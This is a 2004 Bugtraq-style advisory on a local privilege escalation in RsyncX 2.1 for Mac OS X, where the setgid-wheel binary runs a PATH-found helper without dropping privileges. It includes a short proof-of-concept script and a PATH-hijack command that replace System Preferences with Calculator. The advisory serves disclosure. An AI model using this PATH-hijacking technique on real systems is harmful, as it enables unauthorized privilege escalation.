MacOSXLabs RsyncX Local Privilege Escalation Vulnerability

Bugtraq ID:	11211
Class:	Design Error
CVE:
Remote:	No
Local:	Yes
Published:	Sep 17 2004 12:00AM
Updated:	Sep 17 2004 12:00AM
Credit:	Discovery of this vulnerability is credited to Matt Johnston <[email protected]>.
Vulnerable:	MacOSXLabs RsyncX 2.1
Not Vulnerable:

MacOSXLabs RsyncX Local Privilege Escalation Vulnerability

It is reported that RsyncX is prone to a local privilege escalation vulnerability.

RsyncX is installed setuid root and setgid wheel. It is reported that RsyncX drops root privileges properly but fails to drop setgid wheel privileges before executing a third party binary.

A local attacker may exploit this vulnerability to execute arbitrary code with group wheel privileges.

MacOSXLabs RsyncX Local Privilege Escalation Vulnerability

The following example is available:

First, make a backup of System\ Preferences.app

Create an executable file ~/bin/defaults with contents of:

=============================
#!/bin/sh
mv "/Applications/System Preferences.app/Contents" "/Applications/System Preferences.app/oldcont"
cp -r "/Applications/Calculator.app/Contents" "/Applications/System Preferences.app/Contents"
=============================

Then run RsyncX with ~/bin in your path:

PATH=~/bin:$PATH /Applications/Utilities/RsyncX.app/Contents/MacOS/RsyncX

Click on System Preferences, and is now a calculator.

MacOSXLabs RsyncX Local Privilege Escalation Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

MacOSXLabs RsyncX Local Privilege Escalation Vulnerability

References:

• RsyncX Homepage (MacOSXLabs)
  
• RsyncX vulnerabilities (Matt Johnston )